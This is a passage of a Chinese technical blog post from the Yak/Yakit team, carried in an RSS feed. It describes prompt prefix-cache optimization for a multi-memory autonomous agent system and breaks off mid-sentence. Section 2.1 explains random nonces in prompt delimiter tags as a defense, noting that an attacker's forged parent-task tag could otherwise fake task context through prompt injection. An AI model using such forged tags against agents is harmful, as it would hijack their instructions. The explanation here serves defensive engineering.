inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;" data-nest-level="8"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);" data-nest-level="9"><p style="outline: 0px;" data-nest-level="10"><span style="outline: 0px;background-color: rgb(255, 129, 36);" data-nest-level="11"><strong style="outline: 0px;" data-nest-level="12"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="13"><span leaf="" data-nest-level="14">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;" data-nest-level="7"><div style="outline: 0px;font-size: 14px;text-align: justify;" data-nest-level="8"><p style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">Yak 语言官方教程：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span><span leaf="" data-nest-level="10"><br/></span><span leaf="" data-nest-level="10">Yakit 视频教程：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span><span leaf="" data-nest-level="10"><br/></span><span leaf="" data-nest-level="10">Github下载地址：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span><span leaf="" data-nest-level="10"><br/></span><span leaf="" data-nest-level="10">Yakit官网下载地址：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span><span leaf="" data-nest-level="10"><br/></span><span leaf="" data-nest-level="10">Yakit安装文档：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span style="outline: 0px;text-decoration: underline;" data-nest-level="12"><span leaf="" data-nest-level="13"><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span><span leaf="" data-nest-level="10"><br/></span><span leaf="" data-nest-level="10">Yakit使用文档：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span><span leaf="" data-nest-level="10"><br/></span><span leaf="" data-nest-level="10">常见问题速查：</span><span leaf="" data-nest-level="10"><br/></span><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="10"><em style="outline: 0px;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;" data-nest-level="4"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;" data-nest-level="5"><p data-nest-level="6" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-nest-level="6" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100036982" data-ratio="0.325" data-w="1080" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e2ea2d94&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530009%26idx%3D1%26sn%3D101c81bd3b9b13aa9cff78872e481180">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Jul 2026 19:51:00 +0800</pubDate>
    </item>
    <item>
      <title>Memfit AI 安全性和缓存优化工程实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529998&amp;idx=1&amp;sn=e70920ec004ca15c3eb6b64e28fd070a</link>
      <description>多记忆 Agent 前缀缓存优化落地复盘</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-07-17 17:35</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2ed76477&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72E224umeDMs1JwqicY6IBQJ509swTTQanx0wTOxXxibw5x00z11pFkYVa5M2t5XucnyNrz3KWRQk4FhENicnGu55t9Nia8jELwyFfE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>多记忆 Agent 前缀缓存优化落地复盘</p>
  <p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100041806" src="https://wechat2rss.xlab.app/img-proxy/?k=8695437c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZeeTiaUCTkrXfbtIPCxmicjgPxhq9ZDnzI4ge0SwCTAMbAvAI5yWUnoBLqzicqmJAtuUiaygZO5lqSGJQ%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">一、从聊天应用到编程 Agent：上下文是怎么累积的</span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mrlps4px1law" style="font-size: 15px;" data-mpa-action-id="mrlps4q81j2b" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">先从大家最熟悉的场景说起。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpsh0p1rxg"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">最基础的形式是&#34;累积对话&#34;</span></span></span></strong><span leaf="" mpa-font-style="mrlpsh0p1xte" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——ChatGPT 网页版、各种基于 API 搭的客服 Bot、写作助手，底层 Prompt 的组织方式都是同一套范式：你发一条消息，AI 回一条，下一轮调用时把历史消息原样追加进 messages 数组发给模型。在这种模式下，Prompt 缓存优化几乎是自动的：system prompt 固定不变，历史消息天然构成稳定前缀，上游 LLM 的前缀缓存沿着对话历史一路命中，越聊越省钱。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mrlpsh0p23q7" style="font-size: 15px;"><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">再进一步是&#34;工程 Agent&#34;</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">——比如 Codex CLI、Claude Code 这类工具。它们的上下文累积方式仍然是消息追加，但追加的不再只是用户输入和 AI 回复，还包括</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">工具调用结果</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Agent 读了一个文件，文件内容作为一条 assistant/tool message 追加进去；Agent 跑了一行命令，命令输出也追加进去；Agent 编辑了代码，diff 结果同样追加。本质上，它们把&#34;工作过程&#34;当作&#34;对话历史&#34;来累积——每一步操作的输入和输出都变成 messages 数组里的一条记录，下一轮 LLM 调用时把整段历史发给模型。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mrlpsh0p1ruc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这种方式对 Prompt 缓存其实比较友好：system prompt（含工具定义）不变，历史消息按顺序追加，前缀天然稳定。每新增一条消息只是在前缀末尾追加内容，上游前缀缓存可以一路命中到上一次的最后一条消息。唯一的代价是上下文会越来越长，当超过模型窗口时需要做截断或摘要，但那是另一个问题。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong mpa-font-style="mrlpsh0pacj"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">我们的系统面临的情况又不一样。</span></span></strong></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mrlpsh0p107" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">我们的系统是一个多能力、带累积记忆、跑 DAG 任务图的自主 Agent 系统。它和前两者的关键区别在于：</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">上下文不是沿一条线性对话流追加的，而是在不同任务上下文、不同子循环之间跳跃式拼装的</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">单次任务会发起几十到上百轮 LLM 调用，每轮调用的 Prompt 内容取决于当前执行到哪个任务、跑了哪个子循环、加载了哪些能力、Timeline 积累了多少——而不是简单地把&#34;上一轮的对话&#34;拼在前面。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpsh0p1e1"><span leaf="">具体来说，一次 LLM 调用的 Prompt 里混合着这些成分：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrlpsralzfx" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.862890625" data-type="png" data-w="2560" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="4263" data-height="3680" data-imgfileid="100046343" src="https://wechat2rss.xlab.app/img-proxy/?k=0fdf4c70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HkHCZU0euKHiblicbsTFC8X52vHooddicTiaHmEDDCvxCl9pOL8cKiaBl7AcPFSqc4H0Ob51odBicl8lGWBWXtUlGHRUGBHlGk2Ellg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="letter-spacing:1px;color:#fd8009;"><p style="margin-bottom: 8px;"><strong><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlptb0g1498"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">Agent 特质与系统角色指令</span></span></span></strong><span leaf="" mpa-font-style="mrlptb0g16rq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" mpa-font-style="mrlptb0g16rq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">性格设定、输出格式硬规则、推理方法论、不同系统角色的核心指令。这些内容在理想情况下应该永远不变，但最初它们和 caller-specific 的内容（比如不同子循环的 OutputExample、能力开关）混在一起，没有明确的边界。</span></span></p></li><li style="letter-spacing:1px;color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrlptb0g1we" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">能力清单</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">工具、AI 蓝图（Forge）、技能（Skill）、MCP Server 等。系统有仅内置就有数十种能力，可通过 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrn89fz61f1v" data-mpa-action-id="mrn89fzi1dtg" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">search_capabilities</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 动态发现和按需加载。每次系统或用户加载新的能力，Prompt 中的能力清单就会变化。</span></span></span></p></li><li style="letter-spacing:1px;color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrlptb0g1yp3" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">累积记忆</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">这是最棘手的部分。系统有四层记忆在 Prompt 里实时渲染——</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">Timeline 时间线</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">（每一步操作和观察结果的追加记录，一次任务可能积累几百到几千条）、</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">Session Evidence</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">（会话级证据，历轮工具执行后被显式写入的&#34;已确认观测&#34;）、</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">Persistent Memory</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">（</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">跨会话的持久记忆）、</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">Midterm Memory</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">（Timeline 过长时自动压缩归档的旧片段）。这些记忆每轮都在增长。</span></span></span></p></li><li style="letter-spacing:1px;color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrlptb0g170p" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">多任务上下文</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">在 Plan-Execute 模式下，用户的一个目标被拆成树状任务，按依赖关系拓扑执行。每个叶子任务带着父任务链、当前任务目标、执行指令跑一轮独立的 ReAct 循环。不同子任务的上下文内容各不相同。</span></span></span></p></li><li style="letter-spacing:1px;color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrlptb0g2ww" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">迭代反馈</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">ReAct 循环每轮的验证结果、下一步行动计划、工具调用返回值。这些内容每轮都不同。</span></span></span></p></li><li style="letter-spacing:1px;color:#fd8009;"><p style="margin-bottom: 8px;"><strong mpa-font-style="mrlptb0g140z" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">当前时间、工作目录等环境信息</span></span></strong><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlptb0g1le0"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">看起来微不足道，时间的自然增长，它会让整段 Prompt 的字节 hash 每次都变。</span></span></span></p></li></ul><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrlptfq5cz4" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.272835583796664" data-type="png" data-w="2518" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2518" data-height="3205" data-imgfileid="100046340" src="https://wechat2rss.xlab.app/img-proxy/?k=a09d8eb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HUI0JicykSGJfyedVISwbTbwM8kPJzodkoAj5jmZxZBeOACvghLGSyfP2w4KgbzpB1PSic3uRI7B7PasJicbF54XL8hmoZ009bY4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlptte9nmo"><span leaf="">问题在于，这些成分最初</span></span><span mpa-font-style="mrlptte91gt2" style="font-size: 15px;"><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">没有明确的界限</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">——它们被拼成一段连续的文本发给 LLM，稳定的和易变的混在一起。上游前缀缓存沿着 Prompt 从头开始做字节级最长公共前缀匹配，一旦遇到第一个变化的字节，后面的内容无论多么稳定，都无法命中。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlptte913gx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">于是，Agent 每跑一步，Timeline 增长一条，能力清单可能变了一项，迭代反馈完全换了一轮——前缀缓存在很早就被击穿，后面几千 token 的稳定内容全部按全价计费。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlptte923qz" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">最初的实测数据印证了这一点：一次 hostscan 任务跑下来，50~130 次 LLM 调用，缓存命中率只有 </span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">1.10%</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">99% 的 token 在按全价计费，而其中大部分本应是稳定内容。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlptte9kta" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这就是我们要解决的问题：在一个成分复杂、边界模糊、记忆持续增长的系统里，如何让上游 LLM 的字节级前缀缓存尽可能命中</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">二、问题一：缓存破坏的&#34;单体成分&#34;</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" mpa-font-style="mrlpue0eks7" style="font-size: 15px;" data-mpa-action-id="mrlpue0o22fl" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">在系统最初的状态里，Prompt 的各种成分没有明确界限，稳定的和易变的混在一起。但要拆解这个问题，首先要识别出哪些成分是&#34;即使内容不变也会破坏缓存&#34;的——它们是嵌入在 Prompt 字节里的定时炸弹。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">2.1 随机 Nonce：防注入的代价</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpozf717zm"><span leaf="">我们的系统大量使用 AITag（AI 标签）来隔离 Prompt 中的结构化内容，格式形如：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false" mpa-font-style="mrlpozf71qm9" style="font-size: 15px;"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">&lt;|PARENT_TASK_a3x9k2|&gt;</span></code><br/><br/><code><span leaf="">... 父任务上下文 ...</span></code><br/><br/><code><span leaf="">&lt;|PARENT_TASK_END_a3x9k2|&gt;</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span mpa-font-style="mrlpozf71msd" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">其中 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">a3x9k2</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 是 nonce。Nonce 的存在有明确的安全意义：它防止 Prompt Injection 攻击——如果攻击者构造的输入恰好包含 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">&lt;|PARENT_TASK_xxx|&gt;</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 这样的标签，就能伪造任务上下文。有了随机 nonce，攻击者无法猜测当前轮的标签字面量，注入的标签会被当成普通文本忽略。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mrlpozf71uy" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">问题出在 nonce 的生成方式：</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 